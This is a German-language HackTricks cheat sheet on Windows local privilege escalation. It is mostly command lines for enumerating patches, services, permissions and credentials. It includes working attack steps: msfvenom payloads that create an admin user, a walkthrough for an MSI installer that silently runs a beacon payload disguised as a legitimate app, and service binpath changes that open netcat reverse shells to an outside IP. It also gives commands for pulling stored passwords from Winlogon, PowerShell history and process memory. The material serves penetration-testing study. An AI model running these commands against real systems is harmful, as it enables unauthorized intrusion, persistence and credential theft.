Windows Local Privilege Escalation

Reading time: 59 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Initial Windows Theory

Access Tokens

Wenn du nicht weißt, was Windows Access Tokens sind, lies die folgende Seite, bevor du fortfährst:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Siehe die folgende Seite für mehr Informationen zu ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Wenn du nicht weißt, was integrity levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:

Integrity Levels

Windows Security Controls

Es gibt verschiedene Dinge in Windows, die dich daran hindern können, enumerating the system, run executables oder sogar detect your activities. Du solltest die folgende Seite lesen und all diese defenses mechanisms enumerieren, bevor du mit der privilege escalation enumeration beginnst:

Windows Security Controls

System Info

Version info enumeration

Prüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version-Exploits

Diese Seite ist nützlich, um detaillierte Informationen über Microsoft-Sicherheitslücken zu recherchieren. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die riesige Angriffsfläche, die eine Windows-Umgebung darstellt.

Auf dem System

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas hat watson eingebettet)

Lokal mit Systeminformationen

Github repos of exploits:

Umgebung

Sind irgendwelche credentials/Juicy-Infos in den env variables gespeichert?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell-Verlauf

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell-Transkriptdateien

Anleitung zum Aktivieren finden Sie unter https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Details von PowerShell-Pipeline-Ausführungen werden aufgezeichnet und umfassen ausgeführte Befehle, Befehlsaufrufe und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst.

Um dies zu aktivieren, befolge die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wähle "Module Logging" statt "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Um die letzten 15 Ereignisse aus den Powershell-Logs anzuzeigen, können Sie ausführen:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Ein vollständiger Aktivitäts- und Inhaltsnachweis der Skriptausführung wird erfasst, sodass sichergestellt ist, dass jeder Codeblock während der Ausführung dokumentiert wird. Dieser Prozess bewahrt einen umfassenden Audit-Trail jeder Aktivität und ist wertvoll für Forensik und die Analyse bösartigen Verhaltens. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf gewonnen.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Die Ereignisse des Script Block werden im Windows Event Viewer unter folgendem Pfad protokolliert: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Interneteinstellungen

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Laufwerke

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Das System kann kompromittiert werden, wenn die Updates nicht über httpS, sondern über http angefordert werden.

Du beginnst damit zu prüfen, ob das Netzwerk ein non-SSL WSUS update verwendet, indem du Folgendes in cmd ausführst:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oder Folgendes in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Wenn du eine Antwort wie eine der folgenden erhältst:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Und wenn HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer oder Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gleich 1 ist.

Dann, ist es ausnutzbar. Wenn der letzte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert.

Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: Wsuxploit, pyWSUS — dies sind MiTM weaponized exploit-Skripte, um 'gefälschte' Updates in nicht-SSL-WSUS-Verkehr zu injizieren.

Lies die Forschung hier:

WSUS CVE-2020-1013

Lies den vollständigen Bericht hier.
Im Wesentlichen ist dies die Schwachstelle, die dieser Bug ausnutzt:

Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Update den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, PyWSUS lokal auszuführen, um unseren eigenen Verkehr abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen.

Zudem verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers und somit auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers hinzufügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine Trust-on-first-use-ähnliche Validierung für das Zertifikat zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den richtigen Hostnamen hat, wird es vom Dienst akzeptiert.

Sie können diese Schwachstelle mit dem Tool WSUSpicious ausnutzen (sobald es verfügbar ist).

KrbRelayUp

In Windows-Domänenumgebungen existiert unter bestimmten Bedingungen eine lokale Privilegieneskalation. Diese Bedingungen umfassen Umgebungen, in denen LDAP signing nicht erzwungen wird, Benutzer über Berechtigungen verfügen, die es ihnen erlauben, Resource-Based Constrained Delegation (RBCD) zu konfigurieren, und die Fähigkeit, Computer innerhalb der Domain zu erstellen. Es ist wichtig zu beachten, dass diese Voraussetzungen mit Standardeinstellungen erfüllt sind.

Finde den Exploit unter https://github.com/Dec0ne/KrbRelayUp

Für weitere Informationen zum Ablauf des Angriffs siehe https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Wenn diese 2 Registrierungseinträge aktiviert sind (Wert ist 0x1), dann können Benutzer mit beliebigen Rechten *.msi-Dateien als NT AUTHORITY\SYSTEM installieren (ausführen).

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Wenn du eine meterpreter-Session hast, kannst du diese Technik mit dem Modul exploit/windows/local/always_install_elevated automatisieren.

PowerUP

Verwende den Befehl Write-UserAddMSI von PowerUP, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Script schreibt einen vorkompilierten MSI-Installer, der zur Hinzufügung eines Benutzers/einer Gruppe auffordert (du benötigst dafür GUI-Zugriff):

Write-UserAddMSI

Führe einfach die erstellte Binärdatei aus, um die Rechte zu erhöhen (escalate privileges).

MSI Wrapper

Lies dieses Tutorial, um zu lernen, wie man einen MSI Wrapper mit diesem Tool erstellt. Beachte, dass du eine ".bat" Datei einpacken kannst, wenn du nur Befehlszeilen ausführen möchtest

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generiere mit Cobalt Strike oder Metasploit ein neues Windows EXE TCP payload in C:\privesc\beacon.exe
  • Öffne Visual Studio, wähle Create a new project und gib "installer" in das Suchfeld ein. Wähle das Setup Wizard-Projekt und klicke Next.
  • Vergib dem Projekt einen Namen, z. B. AlwaysPrivesc, verwende C:\privesc als Speicherort, aktiviere place solution and project in the same directory und klicke Create.
  • Klicke weiter auf Next, bis du zu Schritt 3 von 4 (choose files to include) gelangst. Klicke Add und wähle das zuvor generierte Beacon-Payload aus. Dann klicke Finish.
  • Markiere das AlwaysPrivesc-Projekt im Solution Explorer und ändere in den Properties TargetPlatform von x86 auf x64.
  • Es gibt weitere Eigenschaften, die du ändern kannst, wie Author und Manufacturer, die die installierte App legitimer erscheinen lassen.
  • Rechtsklicke das Projekt und wähle View > Custom Actions.
  • Rechtsklicke Install und wähle Add Custom Action.
  • Doppelklicke auf Application Folder, wähle deine beacon.exe-Datei und klicke OK. Dadurch wird sichergestellt, dass das Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird.
  • Unter den Custom Action Properties ändere Run64Bit auf True.
  • Baue das Projekt schließlich build it.
  • Falls die Warnung File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' erscheint, stelle sicher, dass du die Plattform auf x64 gesetzt hast.

MSI Installation

Um die Installation der bösartigen .msi-Datei im Hintergrund auszuführen:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Um diese Schwachstelle auszunutzen, können Sie Folgendes verwenden: exploit/windows/local/always_install_elevated

Antivirus und Detektoren

Audit-Einstellungen

Diese Einstellungen entscheiden, was protokolliert wird, daher sollten Sie darauf achten

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — es ist interessant zu wissen, wohin die Logs gesendet werden

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS ist für die Verwaltung lokaler Administratorpasswörter konzipiert und stellt sicher, dass jedes Passwort auf Computern, die einer Domäne angehören, einzigartig, zufällig generiert und regelmäßig aktualisiert wird. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, denen durch ACLs ausreichende Berechtigungen gewährt wurden, sodass sie, falls autorisiert, lokale Admin-Passwörter einsehen können.

LAPS

WDigest

If active, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Ab Windows 8.1 hat Microsoft einen erweiterten Schutz für die Local Security Authority (LSA) eingeführt, um Versuche von nicht vertrauenswürdigen Prozessen zu blockieren, ihren Speicher zu lesen oder Code zu injizieren und damit das System weiter abzusichern.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard wurde in Windows 10 eingeführt. Sein Zweck ist es, die auf einem Gerät gespeicherten credentials vor Bedrohungen wie pass-the-hash attacks zu schützen.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials werden von der Local Security Authority (LSA) authentifiziert und von Komponenten des Betriebssystems verwendet. Wenn die Logondaten eines Benutzers von einem registrierten security package authentifiziert werden, werden in der Regel domain credentials für den Benutzer angelegt.
Mehr Informationen zu Cached Credentials hier.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Benutzer & Gruppen

Benutzer & Gruppen auflisten

Prüfe, ob eine der Gruppen, denen du angehörst, interessante Berechtigungen hat.

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privilegierte Gruppen

Wenn du zu einer privilegierten Gruppe gehörst, kannst du möglicherweise Privilegien eskalieren. Erfahre hier mehr über privilegierte Gruppen und wie man sie missbraucht, um Privilegien zu eskalieren:

Privileged Groups

Token-Manipulation

Erfahre mehr darüber, was ein Token ist auf dieser Seite: Windows Tokens.
Sieh dir die folgende Seite an, um mehr über interessante Tokens zu erfahren und wie man sie missbrauchen kann:

Abusing Tokens

Angemeldete Benutzer / Sitzungen

bash
qwinsta
klist sessions

Home-Ordner

bash
dir C:\Users
Get-ChildItem C:\Users

Passwortrichtlinie

bash
net accounts

Den Inhalt der Zwischenablage abrufen

bash
powershell -command "Get-Clipboard"

Laufende Prozesse

Datei- und Ordnerberechtigungen

Zuerst, beim Auflisten der Prozesse prüfe auf Passwörter in der Befehlszeile des Prozesses.
Prüfe, ob du eine laufende binary überschreiben kannst oder ob du Schreibrechte für den binary folder hast, um mögliche DLL Hijacking attacks auszunutzen:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Überprüfe immer, ob electron/cef/chromium debuggers laufen, du könntest sie missbrauchen, um escalate privileges.

Überprüfen der Berechtigungen der Binärdateien von Prozessen

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Überprüfen der Berechtigungen der Ordner der Prozess-Binaries (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Du kannst einen memory dump eines laufenden Prozesses mit procdump von sysinternals erstellen. Dienste wie FTP haben die credentials in clear text in memory, versuche den Speicher zu dumpen und die credentials auszulesen.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Unsichere GUI-Apps

Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.

Beispiel: "Windows Help and Support" (Windows + F1), suche nach "command prompt", klicke auf "Click to open Command Prompt"

Dienste

Liste der Dienste abrufen:

bash
net start
wmic service list brief
sc query
Get-Service

Permissions

Du kannst sc verwenden, um Informationen über einen Dienst zu erhalten

bash
sc qc <service_name>

Es wird empfohlen, das Binary accesschk von Sysinternals zu haben, um das erforderliche privilege level für jeden Dienst zu prüfen.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Es wird empfohlen zu prüfen, ob "Authenticated Users" einen Dienst ändern können:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Dienst aktivieren

Wenn dieser Fehler auftritt (zum Beispiel bei SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Sie können ihn mit folgendem Befehl aktivieren

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Beachte, dass der Dienst upnphost zum Funktionieren auf SSDPSRV angewiesen ist (für XP SP1)

Eine weitere Umgehung dieses Problems ist das Ausführen von:

sc.exe config usosvc start= auto

Dienst-Binärpfad ändern

Wenn die Gruppe "Authenticated users" auf einen Service SERVICE_ALL_ACCESS besitzt, ist eine Änderung der ausführbaren Service-Binärdatei möglich. Um sc zu modifizieren und auszuführen:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Dienst neu starten

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilegien können durch verschiedene Berechtigungen eskaliert werden:

  • SERVICE_CHANGE_CONFIG: Ermöglicht die Neukonfiguration des Service-Binarys.
  • WRITE_DAC: Ermöglicht die Neukonfiguration von Berechtigungen, wodurch Service-Konfigurationen geändert werden können.
  • WRITE_OWNER: Ermöglicht das Übernehmen des Besitzes und das Neukonfigurieren von Berechtigungen.
  • GENERIC_WRITE: Erbt die Fähigkeit, Service-Konfigurationen zu ändern.
  • GENERIC_ALL: Erbt ebenfalls die Fähigkeit, Service-Konfigurationen zu ändern.

Zur Erkennung und Ausnutzung dieser Schwachstelle kann exploit/windows/local/service_permissions verwendet werden.

Schwache Berechtigungen von Service-Binaries

Prüfe, ob du das Binary, das von einem Service ausgeführt wird, modifizieren kannst oder ob du Schreibrechte auf den Ordner hast, in dem sich das Binary befindet (DLL Hijacking).
Du kannst alle Binaries, die von einem Service ausgeführt werden, mithilfe von wmic (nicht in system32) ermitteln und deine Berechtigungen mit icacls prüfen:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Sie können auch sc und icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Service-Registry: Änderungsberechtigungen

Du solltest prüfen, ob du eine Service-Registry ändern kannst.
Du kannst deine Berechtigungen an einer Service-Registry prüfen:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Es sollte überprüft werden, ob Authenticated Users oder NT AUTHORITY\INTERACTIVE FullControl-Berechtigungen besitzen. Falls ja, kann die vom Dienst ausgeführte Binärdatei verändert werden.

Um den Pfad der ausgeführten Binärdatei zu ändern:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Wenn Sie diese Berechtigung für einen Registry-Schlüssel haben, bedeutet das, dass Sie aus diesem Schlüssel Unter-Registries erstellen können. Im Fall von Windows-Diensten ist das ausreichend, um beliebigen Code auszuführen:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, versucht Windows, jede Zeichenfolge vor einem Leerzeichen als ausführbare Datei auszuführen.

Zum Beispiel wird Windows für den Pfad C:\Program Files\Some Folder\Service.exe versuchen, folgende Dateien auszuführen:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Alle unquoted service paths auflisten, ausgenommen diejenigen, die zu built-in Windows services gehören:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Sie können diese Schwachstelle erkennen und ausnutzen mit metasploit: exploit/windows/local/trusted\_service\_path Sie können manuell ein Service-Binary mit metasploit erstellen:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Wiederherstellungsmaßnahmen

Windows ermöglicht es Benutzern, Aktionen anzugeben, die ausgeführt werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf ein binary zeigt. Wenn dieses binary ersetzbar ist, könnte eine Privilege Escalation möglich sein. Weitere Details finden sich in der offiziellen Dokumentation.

Anwendungen

Installierte Anwendungen

Prüfe die permissions of the binaries (vielleicht kannst du eines überschreiben und Privilege Escalation erlangen) sowie die Ordner (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Schreibberechtigungen

Prüfe, ob du eine config file ändern kannst, um eine spezielle Datei zu lesen, oder ob du ein binary ändern kannst, das von einem Administrator account ausgeführt wird (schedtasks).

Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, ist:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Beim Systemstart ausführen

Prüfe, ob du einen Registry‑Eintrag oder eine Binary überschreiben kannst, die von einem anderen Benutzer ausgeführt wird.
Lies die folgende Seite, um mehr über interessante autoruns locations to escalate privileges zu erfahren:

Privilege Escalation with Autoruns

Treiber

Suche nach möglichen Drittanbieter-auffälligen/verwundbaren Treibern

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Wenn ein Treiber eine arbitrary kernel read/write primitive offenlegt (häufig in schlecht gestalteten IOCTL-Handlern), kannst du Privilegien eskalieren, indem du einen SYSTEM token direkt aus dem Kernel-Speicher stiehlst. Siehe die Schritt‑für‑Schritt-Technik hier:

Arbitrary Kernel Rw Token Theft

PATH DLL Hijacking

Wenn du Schreibrechte in einem Verzeichnis hast, das im PATH enthalten ist, könntest du eine von einem Prozess geladene DLL hijacken und damit Privilegien eskalieren.

Überprüfe die Berechtigungen aller Verzeichnisse im PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Für weitere Informationen darüber, wie man diese Prüfung ausnutzen kann:

Writable Sys Path +Dll Hijacking Privesc

Netzwerk

Freigaben

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Überprüfe die hosts file auf weitere bekannte Computer, die fest eingetragen sind.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkschnittstellen & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Offene Ports

Prüfe auf eingeschränkte Dienste von außen

bash
netstat -ano #Opened ports?

Routingtabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-Tabelle

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Sieh dir diese Seite für Firewall-bezogene Befehle an (Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)

Mehr Befehle zur Netzwerk-Enumeration hier

Windows Subsystem for Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Die Binärdatei bash.exe kann auch in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe gefunden werden

Wenn du root user bekommst, kannst du auf jedem Port lauschen (das erste Mal, wenn du nc.exe benutzt, um auf einem Port zu lauschen, fragt die GUI, ob nc von der Firewall zugelassen werden soll).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um bash einfach als root zu starten, kannst du --default-user root ausprobieren

Du kannst das WSL Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ erkunden

Windows Anmeldeinformationen

Winlogon-Anmeldeinformationen

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
